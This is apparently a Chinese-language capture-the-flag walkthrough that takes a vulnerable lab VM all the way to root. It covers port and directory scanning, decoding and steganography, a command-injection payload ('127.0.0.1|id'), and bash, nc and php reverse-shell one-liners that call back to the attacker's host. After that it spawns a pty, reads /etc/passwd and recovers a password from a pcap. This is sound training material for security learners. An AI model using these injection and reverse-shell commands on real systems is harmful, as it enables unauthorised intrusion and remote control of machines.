注:本文主要详细解释每一步思路及原理。
目标
获得目标root权限及flag
运行环境
kali: 192.168.174.129目标机: 192.168.174.130
靶机下载
信息收集
因为kali和靶机都是用VMware打开的虚拟机,所以扫描一下局域网就能找到靶机地址了
> nmap -sP 192.168.174.0/24
-sP ping扫描,用ping方式检查网络上哪些主机正在运行。nmap在任何情况下都会进行ping扫描,只有目标主机处于运行状态,才会进行后续的扫描。
/24 为子网掩码 = 255.255.255.0
两虚拟机都是NAT连接方式,否则可能扫描不到知道了靶机ip为192.168.174.130,现在需要看看它开了哪些端口
> nmap -p 1-65535 192.168.174.130 > nmap -p- 192.168.174.130
-p 后面指定端口号,扫描1到65535所有端口,也可以简写为 -p-
只有33447这一个端口开放,不知道是什么服务从浏览器直接访问 192.168.174.130:33447发现了主页面
漏洞挖掘的详细思路
网页上没有找到下手的地方,直接f12看源码,发现html最后有一行奇怪的编码
看见0x怀疑是十六进制,拿去转码
转码之后又是另一种编码,又”=”怀疑是base64,数一下长度为3的倍数,肯定是了,继续用base64解码
得到了wow.jpg的提示,url直接访问192.168.174.130:33447/wow.jpg ,发现并没有这个路径但是发现了主页的网页标题有提示
提示/Challenge这个目录,记住这个目录,然后就直接爆破根目录吧
> dirb 192.168.174.130:33447 /usr/share/dirb/wordlists/common.txt
dirb + 需要爆破的地址 + 字典
字典在/usr/share/dirb/wordlists/目录下就有很多,包括common.txt,big.txt 等等,可以亲自去翻一翻
发现了images这个目录,然后试一下/images/wow.jpg,果然藏在这里
这应该是考验隐写术了,先把保存下来用binwalk分析一下,发现是个gif 那就重新存为gif后缀
Binwalk 是用于搜索给定二进制镜像文件以获取嵌入的文件和代码的工具。 具体来说,它被设计用于识别嵌入固件镜像内的文件和代码。
执行” binwalk 所要查看的文件的路径” ,得到文件中包含的其他文件的信息
执行“ binwalk -e 文件路径 ”,得到分离后的文件。
看到gif我首先怀疑在其它帧里面藏着东西,用图片神器Stegsolve打开
点击 Analyes -> Frame Browser 查看gif的每一帧
发现只有一帧,应该没有隐藏东西,顺便看看色彩通道什么的,也什么都没有再去看看十六进制
在终端输入hexeditor打开kali自带的十六进制编辑器
选择刚才的gif对比文件头为 47 49 46 38,没有问题
常用文件头文件尾
文件格式 | 文件头 | 文件尾 |
---|---|---|
JPEG (jpg) | FF D8 FF | FF D9 |
PNG (png) | 89 50 4E 47 | AE 42 60 82 |
GIF (gif) | 47 49 46 38 | 00 3B |
ZIP Archive (zip) | 50 4B 03 04 | 50 4B |
RAR Archive (rar) | 52 61 72 21 | |
avi | 41 56 49 20 |
看这些数字的大小怀疑是ascii,因为ascii和url编码是一样的,所以我就写了个python方法把“:”换成了“%”拿去url解码了
这里说一下,其实用文本编辑器打开图片复制最后一行编码更方便
解出来是一个字符串,拿去python里看看长度
32位,应该是md5加密吧
得到63425这个密码,也不知道有啥用,先留着吧想到之前还有一个/Challenge目录的提示,访问一下试试看
192.168.174.130:33447/Challenge/
果然是可以访问的,用dirbuster扫描后台看看还有什么目录
就设置一下爆破站点,线程200就好了,字典在/usr/share/dirbuster/wordlists/目录下,爆破目标目录的设置注意{dir}才是从字典里面匹配的,所以得加后缀php之类的,还有start按钮一般是在右下角隐藏了,拖拽一下边框就出来了
跑出来了5个目录cake.php, error.php, hacked.php, index.php, include.php
index.php
首页需要email和password才能登陆
hacked.php
需要id,把之前的63425放进去,然而并没有什么用
用sqlmap对参数id进行注入似乎也失败了
cake.php
貌似标题上有提示,在/Magic_Box目录下再爆一次目录
得到command.php和low.php两个目录访问发现low是个空白页面,而command是这样的
感觉有点像命令执行漏洞,试试127.0.0.1|id,发现有个页面一闪而过,还是抓个包吧
GID为GroupID,即组ID,用来标识用户组的唯一标识符。
UID为UserId,即用户ID,用来标识每个用户的唯一标示符。发现的确是有命令执行漏洞的
反弹shell
使用反弹shell到7777端口,尝试bash反弹shell和nc反弹shell都失败了 > bash -i >& /dev/tcp/192.168.174.129/7777 0>&1nc -e /bin/bash -d 192.168.174.129 7777
-i interactive。即产生一个交互式的shell(bash)- 0>&1 标准输入转换为标准输出,大概意思就是把shell重定向到kali的7777端口
nc -e 程序重定向,把bash程序(linux的默认shell程序)重定向到7777端口- 如果看不懂>&, 0>&1可以先看 https://xz.aliyun.com/t/2548
但是php反弹shell可以成功
> php -r '$sock=fsockopen("192.168.174.129",7777);exec("/bin/sh -i <&3 >&3 2>&3");'
将上面的payload转换为url编码后用burpsuit发送发送之前在终端内监听7777端口,执行
> nc -lvp 7777
-l 监听
-v 输出交互或出错信息
-p 端口
nc是netcat的简写,可实现任意TCP/UDP端口的侦听,nc可以作为server以TCP或UDP方式侦听指定端口。
成功反弹shell
什么是反弹shell?
反弹shell(reverse shell),就是控制端监听在某TCP/UDP端口,被控端发起请求到该端口,并将其命令行的输入输出转到控制端。reverse shell与telnet,ssh等标准shell对应,本质上是网络概念的客户端与服务端的角色反转。
为什么要反弹shell?
通常用于被控端因防火墙受限、权限不足、端口被占用等情形。
举例:假设我们攻击了一台机器,打开了该机器的一个端口,攻击者在自己的机器去连接目标机器(目标ip:目标机器端口),这是比较常规的形式,我们叫做正向连接。远程桌面、web服务、ssh、telnet等等都是正向连接。那么什么情况下正向连接不能用了呢?
有如下情况:
1. 某客户机中了你的网马,但是它在局域网内,你直接连接不了。 2. 目标机器的ip动态改变,你不能持续控制。 3. 由于防火墙等限制,对方机器只能发送请求,不能接收请求。 4. 对于病毒,木马,受害者什么时候能中招,对方的网络环境是什么样的,什么时候开关机等情况都是未知的,所以建立一个服务端让恶意程序主动连接,才是上策。- 那么反弹就很好理解了,攻击者指定服务端,受害者主机主动连接攻击者的服务端程序,就叫反弹连接。 【注】:参考https://www.cnblogs.com/iouwenbo/p/11277453.html
执行su,但是告诉我must be run from a terminal,必须是终端
在百度上找到了用python模拟成终端的方法
> echo "import pty; pty.spawn('/bin/bash')" > /tmp/asdf.py > python /tmp/asdf.py
useradd 添加用户发现并没有权限,需要提权,尝试了上传一句话,脏牛都失败了
提权
> cat /etc/passwd
这个文件中保存的就是系统中所有的用户和用户的主要信息。
每行代表一个用户,”x”代表的是密码标志,而不是真正的密码
0:超级用户 UID,1~499:系统用户(伪用户)UID。这些 UID 是系统保留给系统用户的 UID,也就是说 UID 是 1~499 范围内的用户是不能登录系统的,而是用来运行系统或服务的。其中,1~99 是系统保留的账号,系统自动创建;100~499 是预留给用户创建账号的。500~65535:普通用户 UID。查看用户,需要注意的用户有root,acid,saman
> find ./ -user acid 2>/dev/null
2>/dev/null 就是把错误输入到“黑洞”
斜杠(/)告诉 find 命令搜索 /(根)目录及其所有的子目录。查找每个用户的文件发现了/sbin/raw_vs_isi/hint.pcapng 网络流量抓包文件
用scp方法将流量包下载到本地
> scp /sbin/raw_vs_isi/hint.pcapng [email protected]:/user
scp命令用法
将本地复制到远程
scp /path/local_filename username@servername:/path将远程的复制到本地
scp username@servername:/path/filename /tmp/local_destination将远程目录下的/path/filename 下载到 /tmp/local_destination下 复制目录 当需要传输目录的时候,仅需要加上参数-r即可以,例如
scp -r username@servername:remote_dir/ /tmp/local_dir用wireshark打开,找到saman的密码为1337hax0r
> su saman
登录saman账户成功
再用sudo -i 提权到root,需要再次输入saman的密码
然后就能看见目录下的flag.txt文件了
来源:freebuf.com 2019-10-11 18:06:37 by: opang哦胖
请登录后发表评论
注册